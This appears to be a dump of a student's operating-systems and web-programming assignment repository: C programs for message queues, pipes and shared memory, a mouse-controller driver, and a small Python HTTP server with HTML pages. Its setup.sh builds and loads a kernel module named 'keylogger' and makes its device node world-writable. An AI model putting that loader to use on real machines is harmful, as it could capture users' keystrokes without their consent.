{ 8 | long mtype ; 9 | char data[200] ; 10 | } message ; 11 | 12 | 13 | void main() 14 | { 15 | 16 | key_t key; 17 | int msgid; 18 | 19 | key = ftok("progfile", 65); 20 | msgid = msgget(key, 0666 | IPC_CREAT); 21 | 22 | int i ; 23 | 24 | float avg ; 25 | float marks[5] = { 26 | 10, 27 | 20, 28 | 30, 29 | 40, 30 | 50 31 | } ; 32 | 33 | for(int i=1;i<=5;i+=1) 34 | { 35 | message.mtype = 10; 36 | sprintf(message.data,"%f",marks[i-1]) ; 37 | // printf("Write Data : %d\n",msgid); 38 | msgsnd(msgid, &message, sizeof(message.data), 0); 39 | } 40 | 41 | msgrcv(msgid, &message, sizeof(message.data), 100, 0); 42 | printf("Average is : %s \n",message.data); 43 | 44 | sscanf(message.data,"%f",&avg) ; 45 | 46 | for(i=1;i<=5;i+=1) 47 | { 48 | msgrcv(msgid, &message, sizeof(message.data), 100, 0); 49 | printf("Grade of Student %d is : %s \n",i,message.data); 50 | } 51 | } -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/q1_ST.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | struct buffer 6 | { 7 | long mtype ; 8 | char data[200] ; 9 | } message ; 10 | 11 | void main() 12 | { 13 | int i = 0 ; 14 | key_t key; 15 | int msgid; 16 | 17 | float marks[5] ; 18 | float avg = 0 ; 19 | 20 | key = ftok("progfile", 65); 21 | msgid = msgget(key, 0666 | IPC_CREAT); 22 | 23 | for(i=1;i<=5;i+=1) 24 | { 25 | msgrcv(msgid, &message, sizeof(message.data), i, 0); 26 | printf("Mark of Student %d is : %s \n",i,message.data); 27 | sscanf(message.data,"%f",marks + i-1) ; 28 | } 29 | } -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/q1_TA.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct buffer 7 | { 8 | long mtype ; 9 | char data[200] ; 10 | } message ; 11 | 12 | char getGrade(float mark ,float avg) 13 | { 14 | if(mark <= 19) 15 | return 'E' ; 16 | else if(mark < 29) 17 | return 'B' ; 18 | else if(mark < 39) 19 | return 'A' ; 20 | else 21 | return 'S' ; 22 | } 23 | 24 | void main() 25 | { 26 | int i = 0 ; 27 | key_t key; 28 | int msgid; 29 | 30 | float marks[5] ; 31 | float avg = 0 ; 32 | 33 | key = ftok("progfile", 65); 34 | msgid = msgget(key, 0666 | IPC_CREAT); 35 | 36 | for(i=1;i<=5;i+=1) 37 | { 38 | msgrcv(msgid, &message, sizeof(message.data), 10, 0); 39 | printf("Mark of Student %d is : %s \n",i,message.data); 40 | sscanf(message.data,"%f",marks + i-1) ; 41 | avg += marks[i-1] ; 42 | } 43 | avg /= 5 ; 44 | 45 | message.mtype = 100; 46 | sprintf(message.data,"%f",avg) ; 47 | msgsnd(msgid, &message, sizeof(message.data), 0); 48 | printf("Average Sent\n") ; 49 | 50 | for(int i=1;i<=5;i+=1) 51 | { 52 | message.mtype = 100; 53 | sprintf(message.data,"%c",getGrade(marks[i-1],avg)) ; 54 | msgsnd(msgid, &message, sizeof(message.data), 0); 55 | } 56 | printf("Grades Sent\n") ; 57 | 58 | for(int i=1;i<=5;i+=1) 59 | { 60 | message.mtype = i; 61 | sprintf(message.data,"%f",marks[i-1]) ; 62 | msgsnd(msgid, &message, sizeof(message.data), 0); 63 | } 64 | sleep(1) ; 65 | msgctl(msgid, IPC_RMID, NULL); 66 | } -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/st: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q1/st -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/ta: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q1/ta -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/README.md: -------------------------------------------------------------------------------- 1 | # Bankers Algorithm 2 | 3 | A Menu Driven Program For Bankers Algorithm 4 | 5 | ## Input Format 6 | ``` 7 | n - Number of Processes 8 | m - Number of resources 9 | m space sepated values denoting available resources 10 | 11 | n lines 12 | of m space separated values denoting AllocTable 13 | 14 | n lines 15 | of m space separated valeus denoting MaxTable 16 | 17 | q queries 18 | ``` 19 | 20 | ## Queries : 21 | ``` 22 | a - Find Safe Sequence 23 | b - Check if Sequence is Safe 24 | c - Check if given Request Can be Serviced 25 | t - Terminate 26 | ``` 27 | 28 | ## Files : 29 | ``` 30 | q2.c # Banker Algorithm Program 31 | ``` 32 | ## Commands to run : 33 | ``` 34 | gcc q2.c && ./a.out # Compile and runs Program of process 1 35 | ``` 36 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q2/a.out -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/input: -------------------------------------------------------------------------------- 1 | 5 2 | 3 3 | 10 5 7 4 | 0 1 0 5 | 2 0 0 6 | 3 0 2 7 | 2 1 1 8 | 0 0 2 9 | 7 5 3 10 | 3 2 2 11 | 9 0 2 12 | 4 2 2 13 | 5 3 3 14 | a 15 | b 16 | 1 2 3 4 5 17 | b 18 | 2 3 1 4 5 19 | c 20 | 7 7 7 21 | t -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/q2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q2/q2.png -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q3/README.md: -------------------------------------------------------------------------------- 1 | # Dining Philosopher Problem 2 | 3 | Solution to threaded Dining Philosopher's problem using Semaphores 4 | 5 | ## Files : 6 | ``` 7 | q3.c # Solution 8 | ``` 9 | ## Commands to run : 10 | ``` 11 | gcc q3.c -pthread -o q3 && ./q3 # Compile And Run 12 | ``` 13 | 14 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q3/q3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q3/q3 -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q3/q3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/Assignment_3/Q3/q3.png -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := mouseController.o 2 | all: 3 | make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules 4 | clean: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 6 | -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/README.md: -------------------------------------------------------------------------------- 1 | # Cursor Control Driver 2 | 3 | Driver that moves curson and simulates mouse button clicks 4 | 5 | ## Commands to run : 6 | ``` 7 | sudo mknod -m 666 /dev/mouseController c 240 0 # To Create mouseController Device 8 | make here # To Compile the driver Code 9 | make clean # To Remove the comoiled files 10 | sudo insmod ./mouseController.ko # To Load the module 11 | sudo rmmod mouseController # To remove the module 12 | ``` 13 | ## Makefile: 14 | ``` 15 | obj-m := mouseController.o 16 | all: 17 | make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules 18 | here: 19 | make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) 20 | clean: 21 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 22 | ``` 23 | ## TEAM MEMBERS: 24 | ##### Basil Varghese 25 | ##### Arjun Syam 26 | ##### Anshif Moossa K 27 | ##### Amal Raj 28 | ##### Ajay P Sakthikumar 29 | -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/CharacterDriver/a.out -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | MODULE="keylogger" 4 | 5 | if lsmod | grep "$MODULE" &> /dev/null ; then 6 | make clean 7 | make -j 8 -C /lib/modules/$(uname -r)/build M=$PWD 8 | rmmod keylogger 9 | insmod ./keylogger.ko 10 | else 11 | mknod -m 666 /dev/keylogger c 240 0 12 | make clean 13 | make -j 8 -C /lib/modules/$(uname -r)/build M=$PWD 14 | insmod ./keylogger.ko 15 | fi 16 | 17 | echo "$MODULE loaded!" 18 | 19 | exit -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | char buffer[100] ; 9 | char rBuff[100] ; 10 | int fd; 11 | fd=open("/dev/mouseController", O_RDWR); 12 | while(1) 13 | { 14 | scanf("%s",buffer) ; 15 | write(fd,buffer,strlen(buffer)); 16 | read(fd,rBuff,5); 17 | } 18 | close(fd); 19 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/README.md: -------------------------------------------------------------------------------- 1 | # IPC Using Unnamed Pipe 2 | 3 | Interprocess communication between related processes 4 | 5 | The pipe command is used to make pipes and is used for inter process communication using read and write commands 6 | 7 | ## Files : 8 | ``` 9 | parentChild.c 10 | ``` 11 | ## Commands to run : 12 | ``` 13 | gcc parentChild.c && ./a.out # Compile and runs Program 14 | ``` 15 | ## Processes 16 | ``` 17 | Parent Process # Used to control the child processes 18 | Process 1 # Gets User Input and displays final output 19 | Process 2 # Calculates Average and Standard Deviation 20 | Process 3 # Assigns Categories based on Average and Standard Deviation 21 | ``` 22 | 23 | 24 | 25 | # IPC Using Named Pipe 26 | 27 | Interprocess communication between unrelated processes 28 | 29 | The mkfifo command is used to make pipes and their file descriptors are used for inter process communication using read and write commands 30 | 31 | ## Files : 32 | ``` 33 | process_1.c # Process 1 Program 34 | process_2.c # Process 2 Program 35 | process_3.c # Process 3 program 36 | ``` 37 | ## Commands to run : 38 | ``` 39 | gcc process_1.c -o p1 && ./p1 # Compile and runs Program of process 1 40 | gcc process_2.c -o p2 -lm && ./p2 # Compile and runs Program of process 2 41 | gcc process_3.c -o p3 && ./p3 # Compile and runs Program of process 3 42 | ``` 43 | ## Processes 44 | ``` 45 | Process 1 # Gets User Input and displays final output 46 | Process 2 # Calculates Average and Standard Deviation 47 | Process 3 # Assigns Categories based on Average and Standard Deviation 48 | ``` 49 | -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-15-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-15-06.png -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-16-15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-16-15.png -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q1/a.out -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/p1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q1/p1 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/p2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q1/p2 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/p3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q1/p3 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/process_1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int check(float *L) 9 | { 10 | for(int i=0;i<5;i+=1) 11 | { 12 | if(L[i] < 15 || L[i] > 45) 13 | { 14 | printf("One of the Values Not In Range 15 to 45\n") ; 15 | printf("Re-enter values \n") ; 16 | return 1 ; 17 | } 18 | } 19 | return 0 ; 20 | } 21 | 22 | void main() 23 | { 24 | float L[5] = {0,0,0,0,0} ; 25 | int category[5] = {0,0,0,0,0} ; 26 | 27 | int fd[3] ; 28 | 29 | char * fifo[3] = {"/tmp/fifo1","/tmp/fifo2","/tmp/fifo3"}; 30 | 31 | mkfifo(fifo[0], 0666); 32 | mkfifo(fifo[1], 0666); 33 | mkfifo(fifo[2], 0666); 34 | 35 | fd[0] = open(fifo[0], O_RDWR); 36 | fd[1] = open(fifo[1], O_RDWR); 37 | fd[2] = open(fifo[2], O_RDWR); 38 | 39 | printf("Enter The 5 Values :\n") ; 40 | do { 41 | scanf("%f%f%f%f%f",L,L+1,L+2,L+3,L+4) ; 42 | } while (check(L)) ; 43 | write(fd[1],L,5 * sizeof(L[0])) ; 44 | read(fd[0],category,5 * sizeof(category[0])) ; 45 | for(int i=0;i<5;i+=1) 46 | { 47 | switch(category[i]) 48 | { 49 | case 0 :break ; 50 | case 1 :L[i] -= 3 ; 51 | break ; 52 | case 2 :L[i] -= 1.5 ; 53 | break ; 54 | case 3 :L[i] += 2 ; 55 | break ; 56 | case 4 :L[i] += 2.5 ; 57 | break ; 58 | default:break ; 59 | } 60 | } 61 | printf("Revised Temperatures\n") ; 62 | printf("L1 : %7.2f L2 : %7.2f L3 : %7.2f L4 : %7.2f L5 : %7.2f\n",L[0],L[1],L[2],L[3],L[4]) ; 63 | 64 | close(fd[0]) ; 65 | close(fd[1]) ; 66 | close(fd[2]) ; 67 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/process_2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int check(float *L) 10 | { 11 | for(int i=0;i<5;i+=1) 12 | { 13 | if(L[i] < 15 || L[i] > 45) 14 | { 15 | printf("One of the Values Not In Range 15 to 45\n") ; 16 | printf("Re-enter values \n") ; 17 | return 1 ; 18 | } 19 | } 20 | return 0 ; 21 | } 22 | 23 | void main() 24 | { 25 | float avg = 0 ,stdev = 0 ; 26 | float L[5] = {0,0,0,0,0} ; 27 | int category[5] = {0,0,0,0,0} ; 28 | 29 | int fd[3] ; 30 | 31 | char * fifo[3] = {"/tmp/fifo1","/tmp/fifo2","/tmp/fifo3"}; 32 | 33 | mkfifo(fifo[0], 0666); 34 | mkfifo(fifo[1], 0666); 35 | mkfifo(fifo[2], 0666); 36 | 37 | fd[0] = open(fifo[0], O_RDWR); 38 | fd[1] = open(fifo[1], O_RDWR); 39 | fd[2] = open(fifo[2], O_RDWR); 40 | 41 | read(fd[1],L,5 * sizeof(L[0])); 42 | write(fd[2],L,5 * sizeof(L[0])) ; 43 | avg = 0 ; 44 | for(int i=0;i<5;i+=1) 45 | { 46 | avg += L[i] ; 47 | } 48 | avg /= 5 ; 49 | stdev = 0 ; 50 | for(int i=0;i<5;i+=1) 51 | { 52 | stdev += pow(L[i]-avg,2) ; 53 | } 54 | stdev /= 5 ; 55 | stdev = sqrt(stdev) ; 56 | write(fd[2],&avg,sizeof(avg)) ; 57 | write(fd[2],&stdev,sizeof(stdev)) ; 58 | 59 | close(fd[0]) ; 60 | close(fd[1]) ; 61 | close(fd[2]) ; 62 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/process_3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int check(float *L) 9 | { 10 | for(int i=0;i<5;i+=1) 11 | { 12 | if(L[i] < 15 || L[i] > 45) 13 | { 14 | printf("One of the Values Not In Range 15 to 45\n") ; 15 | printf("Re-enter values \n") ; 16 | return 1 ; 17 | } 18 | } 19 | return 0 ; 20 | } 21 | 22 | void main() 23 | { 24 | float avg = 0 , stdev = 0 ; 25 | float L[5] = {0,0,0,0,0} ; 26 | int category[5] = {0,0,0,0,0} ; 27 | 28 | int fd[3] ; 29 | 30 | char * fifo[3] = {"/tmp/fifo1","/tmp/fifo2","/tmp/fifo3"}; 31 | 32 | mkfifo(fifo[0], 0666); 33 | mkfifo(fifo[1], 0666); 34 | mkfifo(fifo[2], 0666); 35 | 36 | fd[0] = open(fifo[0], O_RDWR); 37 | fd[1] = open(fifo[1], O_RDWR); 38 | fd[2] = open(fifo[2], O_RDWR); 39 | 40 | read(fd[2],L,5 * sizeof(L[0])); 41 | read(fd[2],&avg,sizeof(avg)) ; 42 | read(fd[2],&stdev,sizeof(stdev)) ; 43 | for(int i=0;i<5;i+=1) 44 | { 45 | if(L[i]==avg) 46 | category[i] = 0 ; 47 | else if(L[i] > avg + stdev) 48 | category[i] = 1 ; 49 | else if(L[i] < avg - stdev) 50 | category[i] = 4 ; 51 | else if(L[i] > avg && L[i] <= avg + stdev) 52 | category[i] = 2 ; 53 | else if(L[i] < avg && L[i] >= avg - stdev) 54 | category[i] = 3 ; 55 | } 56 | write(fd[0],category,5*sizeof(category[0])) ; 57 | 58 | close(fd[0]) ; 59 | close(fd[1]) ; 60 | close(fd[2]) ; 61 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/README.md: -------------------------------------------------------------------------------- 1 | # IPC Using Shared Memory 2 | 3 | Interprocess communication using Shared Memory Method 4 | 5 | Shared lock variables are used to stop the execution of other processes before valid data is received 6 | 7 | ## Files : 8 | ``` 9 | process_1.c # Receive Password and Display the strength of the password 10 | process_2.c # Count the characers in password 11 | process_3.c # Set Password Strength 12 | ``` 13 | ## Commands to run : 14 | ``` 15 | gcc process_1 -o p1 && ./p1 # Compile and run Process 1 16 | gcc process_2 -o p2 && ./p2 # Compile and run Process 2 17 | gcc process_3 -o p3 && ./p3 # Compile and run Process 3 18 | ``` 19 | ## Shared Memory 20 | ``` 21 | pwd # Starting of the shared block 10 characters 22 | p1_flag # Process 1 Lock (int) 20 bytes after pwd 23 | p2_flag # Process 2 Lock (int) 1 Integer after p1_flag 24 | p3_flag # Process 3 Lock (int) 1 Integer after p2_flag 25 | alnum # Number of Alphanumeric Characters (int) 1 Integer after p3_flag 26 | special # Number of Special Characters (int) 1 Integer after alnum 27 | strength # Strength of Password (int) 1 Integer after Special 28 | ``` 29 | -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-17-33.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-17-33.png -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-18-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-18-03.png -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/p1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q2/p1 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/p2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q2/p2 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/p3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/OSTheory/PipeCommunication/Q2/p3 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/process_1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int check(char *pwd) 9 | { 10 | if(strlen(pwd)==10) 11 | return 0 ; 12 | printf("Enter Password Of Length 10\n") ; 13 | return 1 ; 14 | } 15 | 16 | int main() 17 | { 18 | key_t key = ftok("shmfile",65); 19 | 20 | int shmid = shmget(key,1024,0666|IPC_CREAT); 21 | 22 | void *base ; 23 | base = (char*) shmat(shmid,(void*)0,0); 24 | 25 | char *pwd = base ; 26 | int *p1_flag = base + 20 ; 27 | int *p2_flag = p1_flag + 1 ; 28 | int *p3_flag = p2_flag + 1 ; 29 | int *alnum = p3_flag + 1 ; 30 | int *special = alnum + 1 ; 31 | int *strength = special + 1 ; 32 | 33 | *p1_flag = -1 ; 34 | *p2_flag = -1 ; 35 | *p3_flag = -1 ; 36 | *alnum = 0 ; 37 | *special = 0 ; 38 | *strength = -1 ; 39 | 40 | do { 41 | printf("Enter Password : \n") ; 42 | scanf("%s",pwd) ; 43 | } while(check(pwd)) ; 44 | *p1_flag = 1 ; 45 | 46 | while(*p3_flag == -1) 47 | { 48 | sleep(1) ; 49 | } 50 | 51 | if(*strength == 1) 52 | printf("Password Is Strong\n") ; 53 | else if(*strength == 0) 54 | printf("Password Is Weak\n") ; 55 | else 56 | printf("Password Strength Is Not Set\n") ; 57 | 58 | shmdt(pwd); 59 | return 0; 60 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/process_2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main() 9 | { 10 | key_t key = ftok("shmfile",65); 11 | 12 | int shmid = shmget(key,1024,0666|IPC_CREAT); 13 | 14 | void *base ; 15 | base = (char*) shmat(shmid,(void*)0,0); 16 | 17 | char *pwd = base ; 18 | int *p1_flag = base + 20 ; 19 | int *p2_flag = p1_flag + 1 ; 20 | int *p3_flag = p2_flag + 1 ; 21 | int *alnum = p3_flag + 1 ; 22 | int *special = alnum + 1 ; 23 | int *strength = special + 1 ; 24 | 25 | *p1_flag = -1 ; 26 | *p2_flag = -1 ; 27 | *p3_flag = -1 ; 28 | *alnum = 0 ; 29 | *special = 0 ; 30 | *strength = -1 ; 31 | 32 | do 33 | { 34 | sleep(1) ; 35 | } while(*p1_flag==-1) ; 36 | 37 | for(int i=0;i<10;i+=1) 38 | { 39 | if(isalnum(pwd[i])) 40 | *alnum += 1 ; 41 | else 42 | *special += 1 ; 43 | } 44 | 45 | *p2_flag = 1 ; 46 | 47 | shmdt(base) ; 48 | shmctl(shmid,IPC_RMID,NULL) ; 49 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/process_3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void main() 9 | { 10 | key_t key = ftok("shmfile",65); 11 | 12 | int shmid = shmget(key,1024,0666|IPC_CREAT); 13 | 14 | void *base ; 15 | base = (char*) shmat(shmid,(void*)0,0); 16 | 17 | char *pwd = base ; 18 | int *p1_flag = base + 20 ; 19 | int *p2_flag = p1_flag + 1 ; 20 | int *p3_flag = p2_flag + 1 ; 21 | int *alnum = p3_flag + 1 ; 22 | int *special = alnum + 1 ; 23 | int *strength = special + 1 ; 24 | 25 | *p1_flag = -1 ; 26 | *p2_flag = -1 ; 27 | *p3_flag = -1 ; 28 | *alnum = 0 ; 29 | *special = 0 ; 30 | *strength = -1 ; 31 | 32 | do 33 | { 34 | sleep(1) ; 35 | } while(*p2_flag==-1) ; 36 | 37 | if(*alnum < *special) 38 | *strength = 1 ; 39 | else 40 | *strength = 0 ; 41 | 42 | *p3_flag = 1 ; 43 | 44 | shmdt(base) ; 45 | shmctl(shmid,IPC_RMID,NULL) ; 46 | } -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/CS4042D Web Programming Assignment 1 Question Monsoon 2021.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/Assg2-WebServer/CS4042D Web Programming Assignment 1 Question Monsoon 2021.pdf -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/Readme.txt: -------------------------------------------------------------------------------- 1 | Steps to run Sever: 2 | Prerequisites: 3 | Python(v3) 4 | 5 | -> cd into httpServer/ 6 | -> Run 7 | -(Windows) $python server.py 8 | -(Linux) $python3 server.py 9 | 10 | Server will start listening at port 4040 11 | 12 | Available uri: 13 | 14 | / -> index page 15 | /page2 -> page2.html 16 | /getmoved.html -> redirected to www.google.com 17 | -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "python.pythonPath": "/home/j/Desktop/S5/WebP/A2/httpServer/webenv/bin/python3.8" 3 | } -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Index 5 | 6 | 7 | 11 |

This is the index page of the server

12 |

You got this this page because you requested

13 | 14 | -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/modify.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Modify 5 | 6 | 7 |

8 | Roll No : B180xxxCS
9 | Name : Full Name 10 |

11 | 12 | -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/page2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | This is Page2 5 | 6 | 7 | 8 |

This is Page2

9 |

This page does not contain any relevent data

10 | 11 | -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/server.py: -------------------------------------------------------------------------------- 1 | from http.server import HTTPServer, BaseHTTPRequestHandler 2 | from socketserver import ThreadingMixIn 3 | import threading 4 | import time 5 | 6 | HOST = '0.0.0.0' 7 | PORT = 5050 #Task 1 Modification 8 | 9 | class ThreadedSimpleServer(ThreadingMixIn,HTTPServer): 10 | pass 11 | 12 | class ClientHandler(BaseHTTPRequestHandler): 13 | Routes = { 14 | '':'index.html', 15 | '/page2':'page2.html', 16 | '/modify' : 'modify.html' #Task 2 Modification 17 | } 18 | def do_GET(self): 19 | print("Request received from, ",self.client_address) 20 | #time.sleep(3.0) 21 | #print("Continuing with ",self.client_address) 22 | self.path = self.path.rstrip('/') 23 | print(self.path) 24 | try: 25 | resource = self.Routes[self.path] 26 | try: 27 | f = open(resource).read() 28 | self.send_response(200) 29 | except: 30 | f = "[Error : 404]\nFile Not Found" 31 | self.send_response(404) 32 | except: 33 | if self.path=='/getmoved.html': 34 | self.send_response(301) 35 | self.send_header('Location','https://www.google.com') 36 | self.end_headers() 37 | return 38 | else: 39 | f = "[Error : 404]\nURL Not Found" 40 | self.send_response(404) 41 | f = bytes(f,'utf-8') 42 | self.send_header('Content-Length',len(f)) 43 | self.send_header('Content-Type','text/html; charset=utf-8') 44 | self.end_headers() 45 | self.wfile.write(f) 46 | 47 | if __name__ == "__main__": 48 | print(f"\n[SERVER LISTENING AT PORT {PORT}]") 49 | print("================================") 50 | ThreadedServer = ThreadedSimpleServer((HOST, PORT),ClientHandler) 51 | ThreadedServer.serve_forever() 52 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/1 Monsoon 2021.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/Assg3_4_HTML/1 Monsoon 2021.pdf -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/2 Monsoon 2021.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/Assg3_4_HTML/2 Monsoon 2021.pdf -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/img/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/Assg3_4_HTML/Code/img/image1.png -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q1.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q1 5 | 6 | 7 |

Heading 1

8 |

Heading 2

9 |

Heading 3

10 |

Heading 4

11 |
Heading 5
12 |
Heading 6
13 | 14 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q10.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q10 5 | 6 | 7 |
    8 |
  1. Tamilnadu
  2. 9 |
  3. Uttar Pradesh
  4. 10 |
  5. West-Bengal
  6. 11 |
